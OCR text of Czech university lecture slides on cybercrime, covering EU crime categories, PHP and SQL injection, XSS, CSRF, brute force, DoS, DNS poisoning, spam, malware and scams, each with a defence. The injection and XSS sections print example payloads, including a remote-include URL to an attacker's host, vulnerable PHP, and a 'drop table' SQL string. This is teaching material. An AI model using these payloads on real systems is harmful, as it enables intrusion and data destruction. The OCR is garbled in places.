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https://www.ted.com/talks/mikko hypponen fighting viruses defending the
net

https://www.ted.com/talks/james lyne everyday cybercrime and what vou
can do about it
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Trestna Cinnost pachana za pomoci informacnich a komunikacnich technologii

Formalni rozdéleni (podle EU)

Trestné Ciny proti duvérnosti, integrité a dostupnosti pocitacovych dat

a systému (neopravnény pristup, neopravnéné odposlouchavani, narusovani
dat, narusovani systému, zneuzivani zarizeni).

Trestné Ciny se vztahem k pocitaci (pocitacovy podvod, padélani pocitacem).
Trestné Ciny se vztahem k obsahu pocitace

Trestné Ciny souvisejici s porusovanim autorského prava a souvisejicich prav.
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Rozdéleni kriminality podle ucelu
Porusovani soukromi
Aktivity proti osobnosti
Ovlivhovani komunikace a infrastruktury
Siteni zdvadného obsahu
Primé ekonomické dopady
Porusovani autorskych prav
atd.



VSB TECHNICKA
|| || UNIVERZITA
II" osTrAVA

FAKULTA
ELEKTROTECHNIKY
A INFORMATIKY

Hrozby — Hype Cycle
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Statistiky a prehledy

https://www.nortonlifelock.com/us/en/newsroom/press-kits/
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Nearly 208 million
people in 10 countries®
have experienced

identity theft, and

55 million people were
victimized in the past
12 months alone.
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PHP Injection

Vyuziti vstupl (URL) k modifikaci funkcnosti, a to vloZzenim ,,ciziho” kdédu
* Vypsani zdrojového kodu

* Prace s adresari a soubory

* \lyuzZiti parametru sezeni (session)

Zneuziti funkci include a require

http://web/index.php?page=http://utocnikuvweb/phpkod. txt

<? Spage = $ GET['page'];include Spage; ?>

Aplikace filtrace na vstupu (addslashes, htmlispecialchars)
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SQL Injection

Vyuziti vstupu k modifikace SQL dotazu Ci jeho rozsSireni
* Ziskani dat z databaze

* Modifikace Ci odstranéni dat

* Ziskani pristupu do aplikace a dalSim zdrojim
Zneuziti specialnich znaku v neosetfeném vstupu

http://web/vieworder.php?auto=nissan

Ssql = "select * from orders where name='S$Sauto'";

utok:
m nhamisto nissan = nissan' or 2>1 —-
select * from orders where name='nissan' or 2>1 -'

m popripadeé nissan -> nissan'; drop table orders —-

Aplikace filtrace na vstupech, kontrola vstupnich dat, uzivatelska prava, logovani pro
rekonstrukci
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Zneuziti skriptovaciho jazyka na strané klienta — primo v prohlizeci
Spusténi kddu u uzivatele v rdmci webové stranky/aplikace

Ziskani informaci z hostitelské stranky (DOM), resp. modifikace
Kradez dat (cookies, session)

Keylogger, atd.

http://URL/stranka.php?nadpis=cokoliv<script>alert('Toto je Uspésny XSS utok.');</script>

Docasny/okamzity

Podvrzené URL obsahujici rovnou utocny kéd — konkrétni uzivatel
Persistentni

Vkladani skriptl do obsahu aplikace/webu — vSichni ndvstévnici
Eliminace skriptovani, filtrace vstupu
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Skryté volani pozadavkl na danou funkcionalitu mezi strankami (zalozkami)
Ziskani pristupu a spusténi standardni funkcionality (pfihlasend obét)

Nutna znalost prostredi, na které se utoci, casto v ramci autorizovaného
pristupu (uzivatel je prihlasen)

Podvrhnuti URL (obrazek, iframe), které provede danou operaci v systému,
casto kombinace s XSS

Tajné tokeny na strané serveru, promenné URL, opatrnost uzivatele
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Zjistovani informaci (funkcionality) opakovanim ,zkousenim® vstupu
Pristupové udaje k systému

Ziskani dat

Casové naroéné v zavislosti na naroénosti prostfedi, na které se Uto¢i a
sofistikovanému typu utoku

Omezeni poctu/casu pro opakovani pozadavku, slozitost odhalovanych
udaju
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Utok, ktery vyuziva technické zahlceni serveru za u¢elem odstavit danou
sluzbu/web

Vyuziti TCP protokolu (SYN flood) — nekompletni pozadavek na navazani komunikace v
ramci handshake

Vyuziti PING
Atd.

Balancovani prostredkd pro jednotlivé aplikace/moduly na strané serveru —
pod utokem je jen cast systému

Paketové filtry (SW i HW)
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Cilem je naruseni spravného mapovani domén na IP adresy v DNS - zavedeni
chybnych informaci do DNS, aby byl uzivatel presmérovan na neautorizované
nebo skodlivé webové stranky

Cache Poisoning - Utoénik zasila faledné DNS odpovédi na DNS server, ktery
poté uklada tyto odpovédi do své mezipaméti (cache). Kdyz uzivatel zada
dotaz na preklad nazvu domény na IP adresu, DNS server mUze poskytnout
chybnou odpovéd z mezipameéti.

Spoofed DNS Responses: Utoénik mizZe vytvofit fale$né DNS odpovédi a
poslat je primo uzivatelskému zafizeni. Timto zpUsobem je uZivatel oklaman a
presmerovan na skodlivou stranku.

DNS over HTTPS, udrzovani infrastruktury aktualizované
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Jedna se spiSe o nastroj k utokum — prostredek pro Sireni jinych forem
utoku

Vyuziti emailové komunikace na velké mnozstvi cilovych adres — nevyzadana
posta, obteézujici, prilakani na nebezpecnou stranku

Nemusi se jednat jen o emaily, ale také diskusni fora, socialni site, apod.
Filtry na ruznych drovnich (Black list, White List, Gray List)

Znemoznéni automatizovaného vkladani obsahu (CAPTCHA), eliminace
dolovani adresatu
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Malware oznaéuﬂe kazdy software, jehoz ucelem je poskozeni pocitace Ci ovlivnéni
jeho funkce. Malware muze z pocitace krast citlive udaje, muze postupne zpomalovat
chod pocitace nebo dokonce muze zasilat podvodne e-maily z e-mailového uctu
uzivatele bez jeho védomi.

Virus: Skodlivy pocitaCovy program, ktery dokaze kopirovat sam sebe a nakazit

pocitac.

Cerv: Skodlivy Roél'tg(”:oyy program, ktery prostrednictvim sité rozesila své vlastni

kopie do dalsSich pocitacu.

Spyware: Malware, ktery shromazduje informace o uzivatelich bez jejich vedomi.

Aoll<\|fvare: Software, ktery v pocitaCi automaticky prehrava, zobrazuje Ci stahuje
reklamy.

Trojsky kun: Zhoubny program, ktery se tvafi jako uzitecna aplikace, ale po instalaci
poskodi dany pocita€ nebo z neho odcizi informace.

Botnet — sit napadenych pocitacu, které mohou realizovat Fizeny distribuovany utok,
sbér dat, apod.
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Podvod nebo klamani s cilem ziskat penize, osobni udaje nebo jiné hodnoty od obéti. Scamy mohou
mit ruzné formy a byt provadeény prostfednictvim ruznych komunikacnich kanalu (telefonni hovory,
e-maily, webove stranky, soc. sité
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Obchodovani se socialnimi udaji

Pristup ke sluzbam (autentifikace a autorizace) E-mailovy podvod }phishing): Uto€nici se vydavaji
za duveryhodnou osobu nebo organizaci a snazi se ziskat citlivé informace, jako jsou hesla nebo
bankovni udaje.

Telefonni podvod (vishing): Podvodnici volaji obét a snazi se presveédcit ji, aby poskytla osobni nebo
financni informace.

Online podvod (napr. fake online obchody): Vytvoreni falesSné webové stranky, ktera vypada jako
legitimni obchod, s cilem ziskat platby za neexistujici produkty nebo sluzby.

Investicni a financni podvody: Lidem slibuji vysoke zisky nebo velke navratnosti investic, ale ve
skutecnosti se jedna o podvodné schéma.

Romanticky podvod: Podvodnici vytvareji falesné vztahy s lidmi online a poteé zadaji o penize nebo
osobni informace.
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